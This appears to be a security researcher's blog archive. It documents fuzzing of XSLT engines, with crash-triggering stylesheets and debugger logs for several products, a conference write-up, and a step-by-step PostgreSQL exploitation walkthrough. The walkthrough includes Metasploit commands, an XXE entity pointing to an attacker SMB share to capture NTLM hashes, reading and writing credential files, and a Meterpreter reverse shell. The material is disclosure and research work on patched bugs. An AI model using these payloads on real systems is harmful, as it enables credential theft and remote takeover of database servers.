lundi 25 février 2013, 17:26:37 (UTC+0100)
Mutation-based fuzzing of XSLT engines
- Intro
I did in 2011 some research about vulnerabilities caused by the abuse of dangerous features provided by XSLT engines. This leads to a few vulnerabilities (mainly access to the file system or code execution) in Webkit, xmlsec, SharePoint, Liferay, MoinMoin, PostgreSQL, ... In 2012, I decided to look for memory corruption bugs and did some mutation-based (aka "dumb") fuzzing of XSLT engines. This article presents more than 10 different PoC affecting Firefox, Adobe Reader, Chrome, Internet Explorer and Intel SOA. Most of these bugs have been patched by their respective vendors. The goal of this blog-post is mainly to show to XML newbies what pathological XSLT looks like. Of course, exploit writers could find some useful information too.
When fuzzing XSLT engines by providing malformed XSLT
stylesheets, three distinct components (at least) are tested:
- the XML parser itself, as a XSLT stylesheet is a XML
document
- the XSLT interpreter, which need to compile and execute the
provided code
- the XPath engine, because attributes like "match" and "select"
use it to reference data
Given that dumb fuzzing is used, the generation of test cases is quite simple. Radamsa generates packs of 100 stylesheets from a pool of 7000 grabbed here and there. A much improved version (using among others grammar-based generation) is on the way and already gives promising results ;-) PoC were minimized manually, given that the template structure and execution flow of XSLT doesn't work well with minimizers like tmin or delta.
- Intel SOA Expressway XSLT 2.0 Processor
Intel was proposing an evaluation version of their XSLT 2.0 engine. It's quite rare to encounter a C-based XSLT engine supporting version 2.0, so it was added to the testbed even if it has minor real-world relevance. In my opinion, the first bug should have been detected during functionnal testing. When idiv (available in XPath 2.0) is used with 1 as the denominator, a optimization/shortcut is used. But it seems that someone has confused the address and the value of the corresponding numerator variable. Please note that the value of the numerator corresponds to 0x41424344 in hex.
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="2.0">
<xsl:template match="/">
<xsl:value-of select="1094861636 idiv 1.0"/>
</xsl:template>
</xsl:stylesheet>
When run under Dr Memory (a Windows tool built on DynamoRIO and similar to Valgrind), the following log is generated:
Error #1: UNADDRESSABLE ACCESS: reading 0x41424344-0x41424348 4 byte(s) # 0 xslt2cmd.exe!? +0x0 (0x008340e6 <xslt2cmd.exe+0x4340e6>) # 1 xslt2cmd.exe!? +0x0 (0x0082c74b <xslt2cmd.exe+0x42c74b>) # 2 xslt2cmd.exe!? +0x0 (0x0082d5aa <xslt2cmd.exe+0x42d5aa>) # 3 xslt2cmd.exe!? +0x0 (0x008266a6 <xslt2cmd.exe+0x4266a6>) # 4 xslt2cmd.exe!? +0x0 (0x004cb8fc <xslt2cmd.exe+0xcb8fc>) # 5 xslt2cmd.exe!? +0x0 (0x004e2c28 <xslt2cmd.exe+0xe2c28>) # 6 xslt2cmd.exe!? +0x0 (0x004028f7 <xslt2cmd.exe+0x28f7>) # 7 napa2::tick +0x4b5101 (0x010c4cde <xslt2cmd.exe+0xcc4cde>) # 8 KERNEL32.dll!RegisterWaitForInputIdle +0x48 (0x7c817077 <KERNEL32.dll+0x17077>) Note: @0:00:06.750 in thread 2008 Note: instruction: mov (%edi) -> %edx
Now, an use-after-free(), also detected by Dr Memory. It occurs when a sequence gets its only element removed using fn:remove().
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:xs="http://www.w3.org/2001/XMLSchema" version="2.0">
<xsl:template match="/">
<xsl:variable name="foo" as="xs:string *">
<xsl:sequence select="'Do NOT remove me!'"/>
</xsl:variable>
<xsl:value-of select="remove($foo,1)" />
</xsl:template>
</xsl:stylesheet>
Contrary to Address Sanitizer, no information is given by Dr Memory regarding the places where this buffer was allocated/freed :-(
Error #1: UNADDRESSABLE ACCESS: reading 0x02e2d228-0x02e2d229 1 byte(s) # 0 xslt2cmd.exe!? +0x0 (0x00655710 <xslt2cmd.exe+0x255710>) # 1 xslt2cmd.exe!? +0x0 (0x0064e645 <xslt2cmd.exe+0x24e645>) # 2 xslt2cmd.exe!? +0x0 (0x004ce845 <xslt2cmd.exe+0xce845>) # 3 xslt2cmd.exe!? +0x0 (0x004e2c28 <xslt2cmd.exe+0xe2c28>) # 4 xslt2cmd.exe!? +0x0 (0x004028f7 <xslt2cmd.exe+0x28f7>) # 5 napa2::tick +0x4b5101 (0x010c4cde <xslt2cmd.exe+0xcc4cde>) # 6 KERNEL32.dll!RegisterWaitForInputIdle +0x48 (0x7c817077 <KERNEL32.dll+0x17077> Note: @0:00:07.235 in thread 476 Note: next higher malloc: 0x02e2e058-0x02e2ef38 Note: 0x02e2d228-0x02e2d229 overlaps memory 0x02e2d158-0x02e2de60 that was freed Note: instruction: movzx (%ecx,%eax,1) -> %edx
Several other crashes were found during a two days fuzzing session. This is clearly the least robust tested XSLT engine. By the way, no patch is available, given that Intel has choose to remove this software from their website after notification of the bugs found.
- Mozilla Firefox
Mozilla ships Firefox with its own XSLT engine, Transformiix. It should be noted that XSLT processing in browsers can be triggered either via JavaScript or via XML documents including a processing instruction. Few minors bugs were found, and the most interesting one (from an exploitation point of view) will only allow to leak some data located before your buffer.
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:template match="/">
<xsl:value-of select="format-number(1 div 7777777[many more]7777777, '#')"/>
</xsl:template>
</xsl:stylesheet>
Next, we have a near NULL dereference during parsing of invalid XPath expressions. The offset to NULL is static, so it's just an annoying crasher.
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:template match="key('mykey', " />
</xsl:stylesheet>
Last one for Transformiix, a NULL EIP during parsing of a SVG image including a XSLT transformation. Fun fact: Aki Helin reported the same bug three days before me! Mozilla developpers analyzed the root cause as a type confusion bug, which are quite common in XSLT engines: "So we're effectively casting a txElementHandler* to a txHandlerTable*, and then trying to work with the txHandlerTable* pointer, and crashing."
<!DOCTYPE svg:svg [<!ATTLIST transform id ID #IMPLIED>]>
<?xml-stylesheet type="application/xml" href="#foobar"?>
<svg:svg xmlns:svg="http://www.w3.org/1999/XSL/Transform">
<svg:defs>
<transform id="foobar"/>
</svg:defs>
</svg:svg>
Note the use of the "ID #IMPLIED" trick (published by Chris Evans), which is used to embed the XSLT stylesheet inside the source document.
- Adobe Reader
Adobe Reader uses a forked version of the open-source Sablotron. The two following bugs were found by fuzzing an ASan-instrumented binary of the public version of Sablotron. The first bug bug (CVE-2012-1525 patched by APSB12-16) is a typical heap-overflow occuring during parsing of UTF-8 strings. The calculation of the size of the destination buffer is done on characters and not on bytes. This buffer will overflow if large characters (like 0xE004D) are used.
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:template match="/">
<xsl:attribute name="AB󠁍DE"/>
</xsl:template>
</xsl:stylesheet>
The crash as detected by ASan:
==2288== ERROR: AddressSanitizer heap-buffer-overflow on address 0x7f8abcc394f4 at pc 0x7f8abe931825 bp 0x7fffab43bd30 sp 0x7fffab43bd28
WRITE of size 4 at 0x7f8abcc394f4 thread T0
#0 00000000000f8825 <utf8ToUtf16(wchar_t*, char const*)+0x135>:
for (const char *p = src; *p; p += utf8SingleCharLength(p))
{
code = utf8CharCode(p);
if (code < 0x10000UL)
{
*dest = (wchar_t)(code);
f8825: 89 fa mov %edi,%edx
#1 isValidNCName(char const*)+0x52
0x7f8abcc394f4 is located 0 bytes to the right of 1140-byte region [0x7f8abcc39080, 0x7f8abcc394f4) allocated by thread T0 here:
#0 000000000040b042 <operator new[](unsigned long)+0x22>:
40b042: 4c 8d b5 d8 fd ff ff lea -0x228(%rbp),%r14
#1 isValidNCName(char const*)+0x44
The second bug (CVE-2012-1530 patched via APSB13-02) is a quite sexy type-confusion/casting error. It is also one of the rare XSLT bugs where the behavior depends of the content of the XML document.
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:template match="node()">
<xsl:apply-templates select="node()[lang('foo')]"/>
</xsl:template>
</xsl:stylesheet>
This stylesheet is then applied to the following XML document:
<a> <abcd/> </a>
And we get this ASan crash:
==13350== ERROR: AddressSanitizer crashed on unknown address 0x64636261 (pc 0x7fb537c12ae7 sp 0x7fff48b894e0 bp 0x7fff48b89510 T0)
#0 0000000000102ae7 <AttList::findNdx(QName const&)+0x97>:
// need to use a temporary variable
// to get around Solaris template problem
Vertex * pTemp = (*this)[i];
a = toA(pTemp);
if (attName == a -> getName())
102ae7: 48 8b 07 mov (%rdi),%rax
#1 Expression::callFunc(Situation&, Expression&, PList<Expression*>&, Context*)+0x2c16
The following picture is a screenshot of a DDD debugging session:

Gaining control EIP is trivial. The location of the fake "a" object is taken from the XML document and a function pointer is called just after:
Program received signal SIGSEGV, Segmentation fault. AttList::findNdx (this=0x6c6ef8, attName=...) at verts.cpp:1282 1282 if (attName == a -> getName()) (gdb) x/3i $rip => 0x415d24 <_ZN7AttList7findNdxERK5QName+96>: mov (%rdi),%rax 0x415d27 <_ZN7AttList7findNdxERK5QName+99>: callq *0x40(%rax) 0x415d2a <_ZN7AttList7findNdxERK5QName+102>: mov %rax,%rsi (gdb) p/x $rdi $2 = 0x64636261
Offsets will vary depending of the underlying OS and version of Reader but the concept is quite similar under Windows. French speaking people will find in MISC #66 (March 2013) an article detailling these two bugs. Note: other Adobe products (InDesign, Premiere, ...) may also be affected by these bugs.
- lbxslt (used in Webkit, PHP5, PostgreSQL, xmlsec, ...)
Several extensions to XSLT 1.0 are disabled in the Webkit build of libxslt, which is a good thing. This has prevent several bugs in these extensions (like func:function and rc4_decrypt) to impact products like Chrome and the iPhone. Let's now detail two type-confusion bugs affecting every project using libxslt. The first one is CVE-2012-2871 (aka Chromium #138673):
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0" >
<xsl:template match="*">
<xsl:for-each select="namespace::*">
<xsl:apply-templates/>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
When applying templates to nodes selected by "namespace::*", a out-of-bounds read is performed. Later, this value is used during unlinking of nodes, leading to a write error in xmlUnlinkNode(). The ASan log isn't very helpful because it stops at the first out-of-bounds read. However, under Valgrind:
==5547== Invalid read of size 4 ==5547== at 0x40E8C03: xsltApplyTemplates (transform.c:4837) ==5547== by 0x40E5FA6: xsltApplySequenceConstructor (transform.c:2595) ==5547== by 0x40E6A4C: xsltForEach (transform.c:5628) ==5547== by 0x40E5FA6: xsltApplySequenceConstructor (transform.c:2595) ==5547== by 0x40E75E1: xsltApplyXSLTTemplate (transform.c:3044) ==5547== by 0x40E7E41: xsltProcessOneNode (transform.c:2045) ==5547== by 0x40E83E9: xsltProcessOneNode (transform.c:1875) ==5547== by 0x40EB8D9: xsltApplyStylesheetInternal (transform.c:6049) ==5547== by 0x8049E11: xsltProcess (xsltproc.c:404) ==5547== by 0x804A866: main (xsltproc.c:867) ==5547== Address 0x43f90fc is 0 bytes after a block of size 4 alloc'd [...] =5547== Invalid read of size 4 ==5547== at 0x4150901: xmlUnlinkNode (tree.c:3783) ==5547== by 0x40E8BEC: xsltApplyTemplates (transform.c:4898) ==5547== by 0x40E5FA6: xsltApplySequenceConstructor (transform.c:2595) ==5547== by 0x40E6A4C: xsltForEach (transform.c:5628) ==5547== by 0x40E5FA6: xsltApplySequenceConstructor (transform.c:2595) ==5547== by 0x40E75E1: xsltApplyXSLTTemplate (transform.c:3044) ==5547== by 0x40E7E41: xsltProcessOneNode (transform.c:2045) ==5547== by 0x40E83E9: xsltProcessOneNode (transform.c:1875) ==5547== by 0x40EB8D9: xsltApplyStylesheetInternal (transform.c:6049) ==5547== by 0x8049E11: xsltProcess (xsltproc.c:404) ==5547== by 0x804A866: main (xsltproc.c:867) ==5547== Address 0x43f9110 is not stack'd, malloc'd or (recently) free'd [...] ==5547== ==5547== Invalid write of size 4 ==5547== at 0x4150904: xmlUnlinkNode (tree.c:3783) ==5547== by 0x40E8BEC: xsltApplyTemplates (transform.c:4898) ==5547== by 0x40E5FA6: xsltApplySequenceConstructor (transform.c:2595) ==5547== by 0x40E6A4C: xsltForEach (transform.c:5628) ==5547== by 0x40E5FA6: xsltApplySequenceConstructor (transform.c:2595) ==5547== by 0x40E75E1: xsltApplyXSLTTemplate (transform.c:3044) ==5547== by 0x40E7E41: xsltProcessOneNode (transform.c:2045) ==5547== by 0x40E83E9: xsltProcessOneNode (transform.c:1875) ==5547== by 0x40EB8D9: xsltApplyStylesheetInternal (transform.c:6049) ==5547== by 0x8049E11: xsltProcess (xsltproc.c:404) ==5547== by 0x804A866: main (xsltproc.c:867) ==5547== Address 0x50 is not stack'd, malloc'd or (recently) free'd
A clever defensive fix was designed by Chris Evans. Quoting himself: "My hack is to make the "namespace node" structure always have a NULL children field, if it should ever have an inappropriate lookup of node->children after a forced cast to a generic node. Ugly but should be effective at catching _every_ instance of this bug." Simple but effective ;-)
CVE-2012-2825 (aka Chromium #127417) is a wild-read that which could be used to leak some information about the location of the string "http://www.w3.org/1999/XSL/Transform" (the XSL namespace) in memory. It could be useful in a context where memory randomization is used (like ASLR). A more complete analysis of the bug is available in the Chrome ticket.
<!DOCTYPE whatever [
<!ATTLIST magic blabla CDATA "anything">
<!ENTITY foobar "abcd_efg****kl_mnop_qrst_uvwx_yzAB_CDEF_GHIK_KLMN_OPQR_STUV_WXYZ">
]>
<magic xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"/>
0x2a (the hex value of the ASCII character "*") is clearly apparent in a GDB backtrace:
#0 xmlStrEqual__internal_alias (str1=0x2a2a2a2a <Address 0x2a2a2a2a out of bounds>,
str2=0x1cf444 "http://www.w3.org/1999/XSL/Transform") at xmlstring.c:162
#1 0x001aa384 in xsltParseTemplateContent (style=0x805cc58, templ=0x80598e8) at xslt.c:4849
#2 0x001ac824 in xsltParseStylesheetProcess (ret=0x805cc58, doc=0x80598e8) at xslt.c:6456
#3 0x001acd2c in xsltParseStylesheetImportedDoc (doc=0x80598e8, parentStyle=0x0) at xslt.c:6627
#4 0x001acddf in xsltParseStylesheetDoc (doc=0x80598e8) at xslt.c:6666
#5 0x0804a7f4 in main (argc=4, argv=0xbffff7e4) at xsltproc.c:830
- Microsoft MSXML
Microsoft ships several version of MSXML, its own XML/XSLT engine. The most common versions are MSXML 3 and MSXML 6. MSXML 4 and 5 are mostly similar to MSXML 6 and are (afaik) only shipped with some old versions of Microsoft Office. CVE-2013-0007 is a bug affecting versions 4 to 6 and patched in MS13-002. Given that MSXML is shared among products, this bug impacts at least Internet Explorer and SharePoint (cf. my XXE bug for how to execute XSLT code in SharePoint). DotNetNuke and its XML module may be another valid entry point.
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:template name="main_template" match="/">
<xsl:for-each select="*">
<xsl:apply-templates/>
</xsl:for-each>
</xsl:template>
<xsl:template name="xxx_does_not_exist" match="//xxx[position()]" />
</xsl:stylesheet>
I didin't spend any time on the technical analysis of this bug but the output of "!exploitable" looks interesting:
eax=e9980013 ebx=000000d0 ecx=00f78a9a edx=00000001 esi=00f78a98 edi=0013e874
eip=402a5ac4 esp=0013e870 ebp=0013e990 iopl=0 nv up ei pl nz na pe nc
[...]
Exception Faulting Address: 0xffffffffe998001b
First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005)
Exception Sub-Type: Read Access Violation
[...]
Basic Block:
402a5ac4 mov edx,dword ptr [eax+8]
Tainted Input Operands: eax
402a5ac7 push esi
402a5ac8 lea esi,[edx+0ch]
Tainted Input Operands: edx
402a5acb mov dword ptr [eax+8],esi
Tainted Input Operands: eax, esi
402a5ace mov eax,dword ptr [edx+4]
Tainted Input Operands: edx
402a5ad1 push 8
402a5ad3 mov dword ptr [ecx+0a4h],eax
Tainted Input Operands: eax
402a5ad9 pop eax
402a5ada pop esi
402a5adb ret
[...]
Exploitability Classification: PROBABLY_EXPLOITABLE
Recommended Bug Title: Probably Exploitable - Data from Faulting Address controls subsequent Write Address starting at msxml6!XEngine::stns+0x0000000000000006
Modifying the XPath predicate (for example using "xxx[//foo or position() != 3]") will slighlty modify the address in eax, which was probably not initialized properly.
- Outro
I hope that you enjoyed this journey inside the little known world of XSLT parsers. A few of them were not discussed. For Oracle, it's because they still haven't patched the bugs I reported one year ago. For Opera, it's simply because it is ... how to say ... so fragile when fuzzed ;-) And there's also the bugs found when working for vendors. As said in the intro, a new XSLT fuzzing effort is on the way. Stay tuned!
lundi 26 novembre 2012, 17:00:51 (UTC+0100)
ZeroNights 2012: Opinions and links
I went in Moscow last week as a speaker for ZeroNights, one of the big Russian conferences. This was a really fun!
First, the conference organization. I found a single negative point: some content was exclusively in Russian (a few conferences + the opening and closing talks). Given my lack of knowledge of this language, I spent this time chatting with others, even if I'd have like understand (among others) the talk about the Yandex bug bounty. I like the 2 (or 3) days format which allows to interact a lot with other people. A single day event is usually too short for a good “hallway track”. And two parallel tracks + workshops is in my opinion enough to keep people busy most of the day. A live RU <=> EN translation was available for Track 1. This was working surprisingly well, even if it's quite destabilizing as a speaker, mostly because of the delay. The organizers tried to have a nice XML lineup. This was perfectly done, with what I believe to be the most diverse, technical, realist and eye-opening conferences about XML security. I submitted to this CFP for this very reason, and I'm glad to have been part of this. Kudos to Alexander, Alexey and the full CFP team!
Of course, we had to party ... joernchen set fire to the dance floor during the speakers' party (Hacker Hacker!) and the closing event was much more sociable, with plenty of interesting discussions. Visiting Moscow by night with some awesome hackers was clearly part of the fun ;-)
Regarding the non-XML talks ... The keynote by FX was truly inspiring, as promised. j00ru has rocked the Windows kernel, with a talk detailing the CPU / threads / RAM / ... costs for several CVE. The Finnish team (Miaubiz and Atte) did some feedback on their Chrome/Firefox fuzzing effort. Nice results! Nikita dropped on stage a win32k.sys 0-day found via binary diffing. As you can see, a lot of awesome content!!
Of course, I had a lot of expectations regarding the XML talks ... and I wasn't disappointed!
The OpenAM talk featured a FUSE driver based on two vulnerabilities (XXE + information leak) in the web interface. A YouTube video demonstrating the use of this driver (LfiFS.py) is available here. Then, an application specific way to retrieve data using XXE and OOB channels and a Tomcat RCE via XXE and gopher:// were presented. They finished with a few slides on how to defend under Java (No, enabling FEATURE_SECURE_PROCESSING is not enough!).
The MongoDB talk was quite surprising: server-side execution of JavaScript code, nice BSON tricks used to overwrite or disclose raw data, ... The backend seems quite fragile and could be a nice target for a fuzzer. Unfortunately, the talk was in Russian and no translation was available. I probably missed a few interesting points.
Vladimir Voronstov aka d0znpp and Alexander Golovko spoke about new SSRF techniques. By the way, Oracle killed the gopher:// URL handler in a recent Java update :-( One of the fun aspects of SSRF is the fact that the HTTP client you use (curl, nanohttp, ...) is very different from your usual browser. Unsafe redirect from http:// to file://, support for exotic URL handlers like tftp:// and rtsp://, ... Plenty of cool features! Additionally, I would bet that the deployment of XInclude and XLink will offer a new and large attack surface during the next years. If you want to practice with SSRF, I recommend the ErsSma challenge published just before the conference.
My own talk was composed of three parts. First, beating XML blacklists with a few cheap tricks (UTF-8, whitespaces and namespaces manipulation, ...). Then, abusing XSLT features with exploitation of (among others) Postgres CVE-2012-3488 and Ektron CMS CVE-2012-5357. The section about fuzzing XSLT interpreters have generated some interest, with some funny bugs like the UTF-8 heap-overflow in Reader X (CVE-2012-1525). It was found using ASan on the open-source Sablotron engine. I received some good feedback and some very interesting questions. It's a pleasure to see people absorbing knowledge so quickly.
Now, some loosely organized links ...
XML at large :
"No locked doors, no windows barred: hacking OpenAM
infrastructure"
Slides and Tools,
by George Noseevich @webpentest and Andrew
Petukhov @p3tand
"Attacking MongoDB"
Slides
EN, Sides
RU and Code, by
Firstov Mihail @cyberpunkych
"SSRF attacks and sockets: smorgasbord of vulnerabilities"
Slides and
SSRF Bible, by Vladimir Voronstov @d0znpp and Alexander
Golovko
"That's why I love XML Hacking"
Prezi and
PDF, by Nicolas Grégoire @Agarri_FR
Other talks:
"Win32/Flamer: Reverse Engineering and Framework
Reconstruction"
Slides,
by Aleksandr Matrosov @matrosov and Eugene Rodionov
@vxradius
"New developments in password hashing: ROM-port-hard
function"
Slides, by Alexander Peslyak @solardiz
"The art of binary diffing"
Slides,
by Nikita Tarakanov @NTarakanov
Workshops:
"Random Numbers. Take Two"
Slides, by Arseny Reutov @ru_raz0r, Timur Yunusov and
Dmitry Nagibin
"All you ever wanted to know about BeEF"
Slides, by Michele Orru @antisnatchor
"Reversing banking trojan: an in-depth look into Gataka"
Slides, by Jean-Ian Boutin @jiboutin
And many thanks to those who personally took care of myself during this trip and made it so enjoyable: Maria, Nikita, Dimitry, Alexey, ...
mardi 28 août 2012, 00:32:18 (UTC+0200)
All your PostgreSQL databases are belong to us
On August 17, 2012, PostgreSQL released a security advisory including patches for CVE-2012-3488 and CVE-2012-3489. This post will describe these vulnerabilities and how to exploit them. Please notice that an authenticated access to the database is needed in every scenario, either via direct access to PostgreSQL port or via SQL injection. I'll now demonstrate three distinct ways to gain administrative privileges on a PostgreSQL server, using Metasploit and a Windows version of Postgres 8.4.12.
- Pwnage #1: Semi-blind / error-based XXE
Let's begin with CVE-2012-3489. The PostgreSQL description is "xml_parse() DTD validation can be used to read arbitrary files". In fact, without additional vectors, this is "only" a semi-blind (I mean error-based) XML External Entity vulnerability. It is possible to access local and remote files under the context of the PostgreSQL user, but a XML syntax error is needed in order to retrieve fragments of the target file. Under Unix, denial of service attacks via /dev/random are possible. Under Windows, the database is run under a standard account and stealing LM and NTLM hashes is possible. All is needed is outbound TCP/445 or TCP/80 connectivity to an attacker-controlled server. In a typical LAN deployment, the attacker can then connect back to the target server and re-use the stolen credentials.
The Metapsloit module "smb" is started:
$ sudo msfconsole msf > use auxiliary/server/capture/smb msf auxiliary(smb) > exploit
The attacker can connect to the PostgreSQL server but he doesn't have any privilege:
msf > use auxiliary/scanner/postgres/postgres_hashdump msf auxiliary(postgres_hashdump) > set USERNAME nopriv msf auxiliary(postgres_hashdump) > set PASSWORD foobar msf auxiliary(postgres_hashdump) > set RHOSTS 192.168.27.107 msf auxiliary(postgres_hashdump) > exploit [-] 192.168.27.107:5432 Postgres - Insufficent permissions // Yes, that's a typo ;-)
So he triggers the xml_parse() vulnerability (here via a direct connection to TCP/5432 but SQL injection is another valid vector):
msf > use auxiliary/admin/postgres/postgres_sql msf auxiliary(postgres_sql) > set USERNAME nopriv msf auxiliary(postgres_sql) > set PASSWORD foobar msf auxiliary(postgres_sql) > set RHOST 192.168.27.107 msf auxiliary(postgres_sql) > set SQL 'select xmlparse(document $$<!DOCTYPE x [ <!ENTITY abc SYSTEM "//192.168.2.218/evil_share/foo.txt"> ] ><x>&abc;</x>$$);' msf auxiliary(postgres_sql) > exploit
On the Metasploit side:
NTLMv1 Response Captured from 192.168.27.107:1100 - 192.168.27.107 USER:postgres DOMAIN:DEMO-CONFS OS:Windows 2002 Service Pack 3 2600 LM:Windows 2002 5.1 LMHASH:8d27f92d8d9c73a27a2ffa4337e881472f85252cc731bb25 NTHASH:e1593d3308d5dcfea223126e24c45b6d2b1c4f1b2f85e713
The captured hash is then cracked using John The Ripper, rainbow tables, or any "in the cloud" solution:
$ cat postgresql-hashes.txt postgres:$NETLM$1122334455667788$8d27f92d8d9c73a27a2ffa4337e881472f85252cc731bb25::::::: $ john postgresql-hashes.txt Loaded 1 password hash (LM C/R DES [netlm]) TOTO (postgres) guesses: 1 time: 0:00:00:02 100% (2) c/s: 332409 trying: TOTO
By default, the password of the service and application accounts are identical under Windows. This allows the attacker to connect via either SMB (with standard OS privileges and depending on the applicable security policy) or PostgreSQL (with administrative database privileges):
msf > use auxiliary/scanner/postgres/postgres_hashdump msf auxiliary(postgres_hashdump) > set USERNAME postgres msf auxiliary(postgres_hashdump) > set PASSWORD toto msf auxiliary(postgres_hashdump) > set RHOSTS 192.168.27.107 msf auxiliary(postgres_hashdump) > exploit [*] Query appears to have run successfully [+] Postgres Server Hashes ====================== Username Hash -------- ---- nopriv dc4a7869c4e7182783c33d91308ffe10 app_hr b4270e25c9fadba2b79e18055141d882 app_crm 527bd5b5d689e2c32ae974c6229ff785 postgres 9fa7827a30a483125ca3b7218bad6fee
- Pwnage #2: Typical XXE via XSLT
If the contrib/xml2 module is available, xslt_process() can be used to retrieve the value of external XML entities. An empty XSLT stylesheet (thanks to the Built-in Template Rules) is run in order to copy the source XML document. The "global/pg_auth" file, which contains the PostgreSQL credentials, is a perfect target:
msf > use auxiliary/admin/postgres/postgres_sql msf auxiliary(postgres_sql) > set USERNAME nopriv msf auxiliary(postgres_sql) > set PASSWORD foobar msf auxiliary(postgres_sql) > set RHOST 192.168.27.107 msf auxiliary(postgres_sql) > set SQL 'select xslt_process($$<!DOCTYPE x [<!ENTITY abc SYSTEM "global/pg_auth"> ] ><x>&abc;</x>$$::text, $$<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0"></xsl:stylesheet>$$::text);' msf auxiliary(postgres_sql) > exploit xslt_process ------------ <?xml version="1.0"?> "nopriv" "md5dc4a7869c4e7182783c33d91308ffe10" "" "app_hr" "b4270e25c9fadba2b79e18055141d882" "" "app_crm" "527bd5b5d689e2c32ae974c6229ff785" "" "postgres" "md59fa7827a30a483125ca3b7218bad6fee" ""
However, there's another vulnerability in the contrib/xml2 module providing xslt_process(), like described now with CVE-2012-3488.
- Pwnage #3: Abuse of the xsl:document feature in libxslt
The PostgreSQL description is "contrib/xml2's xslt_process() can be used to read and write arbitrary files". Technically, this is exactly the same vulnerability that those I already reported in Webkit (CVE-2011-1774), xmlsec (CVE-2011-1425) and PHP5 (CVE-2012-0057): an attacker can gain write access to the filesystem by abusing legitimate features of the libxslt XSLT processor. It's funny to notice that my PoC from 2011 works flawlessly:
msf > use auxiliary/admin/postgres/postgres_sql msf auxiliary(postgres_sql) > set USERNAME nopriv msf auxiliary(postgres_sql) > set PASSWORD foobar msf auxiliary(postgres_sql) > set RHOST 192.168.27.107 msf auxiliary(postgres_sql) > set SQL 'select xslt_process($$<x/>$$::text, $$<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0"><xsl:template match="/"><xsl:document href="aybabtu.txt" method="text"><xsl:text>All your base are belong to us.</xsl:text></xsl:document></xsl:template></xsl:stylesheet>$$::text);' msf auxiliary(postgres_sql) > exploit
No output, but we should have created "aybabtu.txt" in the data directory. Let's use the XXE+XSLT vulnerability in order to check:
msf > use auxiliary/admin/postgres/postgres_sql msf auxiliary(postgres_sql) > set USERNAME nopriv msf auxiliary(postgres_sql) > set PASSWORD foobar msf auxiliary(postgres_sql) > set RHOST 192.168.27.107 msf auxiliary(postgres_sql) > set SQL 'select xslt_process($$<!DOCTYPE x [<!ENTITY abc SYSTEM "aybabtu.txt"> ] ><x>&abc;</x>$$::text, $$<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0"></xsl:stylesheet>$$::text);' msf auxiliary(postgres_sql) > exploit xslt_process ------------ <?xml version="1.0"?> All your base are belong to us.
Bingo! Given that overwriting existing files is acceptable, it's even possible to modify the "postgresql.conf" configuration file, nullify an existing database or even add our own account to "global/pg_auth".
- From PostgreSQL administrative privileges to command execution
We have now three ways to gain administrative access to the database: steal the LM/NTLM hashes from the network, steal the MD5 hashes from "global/pg_auth" or overwrite "global/pg_auth" with your own account details. This is already cool, but some people really want to see a Meterpreter shell. Luckily, the "postgres_payload" Metasploit module does just that:
msf > use exploit/windows/postgres/postgres_payload
msf exploit(postgres_payload) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(postgres_payload) > set USERNAME postgres
msf exploit(postgres_payload) > set PASSWORD toto
msf exploit(postgres_payload) > set RHOST 192.168.27.107
msf exploit(postgres_payload) > exploit
[*] Started reverse handler on 192.168.2.218:4444
[*] Authentication successful and vulnerable version 8.4 on Windows confirmed.
[*] Uploaded flJBELWn.dll as OID 33011 to table jnrotcvq(ipmhmpch)
[*] Command Stager progress - 1.48% done (1499/101465 bytes)
[*] Command Stager progress - 2.95% done (2998/101465 bytes)
[*] Command Stager progress - 4.43% done (4497/101465 bytes)
...
[*] Command Stager progress - 96.03% done (97435/101465 bytes)
[*] Command Stager progress - 97.51% done (98934/101465 bytes)
[*] Command Stager progress - 98.95% done (100400/101465 bytes)
meterpreter > getuid
Server username: DEMO-CONFS\postgres
- Timelines
CVE-2012-3489 (dereference of XML External Entities):
- May 2011: Internal identification of the issue by the PostgreSQL
team
- May 2012: Independent re-discovery by Vladimir Vorontsov (aka
d0znpp)
- June 2012: Disclosure of the bug at PHDays (blog post)
- July 2012: Notification of the PostgreSQL security team
- August 2012: Release of patched versions
CVE-2012-3488 (abuse of a libxslt feature):
- February 2011: Publication of a similar vulnerability in Webkit
(CVE-2011-1774)
- March 2011: Publication of a similar vulnerability in xmlsec
(CVE-2011-1425)
- January 2012: Publication of a similar vulnerability in PHP
(CVE-2012-0057)
- February 2012: Internal identification of the issue by the
PostgreSQL team
- June 2012: Discovery by myself that PostgreSQL is affected
- July 2012: Notification of the PostgreSQL security team
- August 2012: Release of patched versions
lundi 2 juillet 2012, 19:19:36 (UTC+0200)
From XSLT code execution to Meterpreter shells
This article will describe how to execute high-level code during the processing of a XSL transform, with the goal of obtaining some Meterpreter shells. It applies to any XSLT engine capable of executing high-level code, even if the published code focus on PHP5 (in a non default configuration) and Xalan-J.
Two minimalist applications processing arbitrary XML documents and XSLT stylesheets are used as the targets. Functionally, these applications are minimalist online readers for ATOM feeds. They were used during my HackInTheBox and HackInParis talks and are now publically available.
The PHP code:
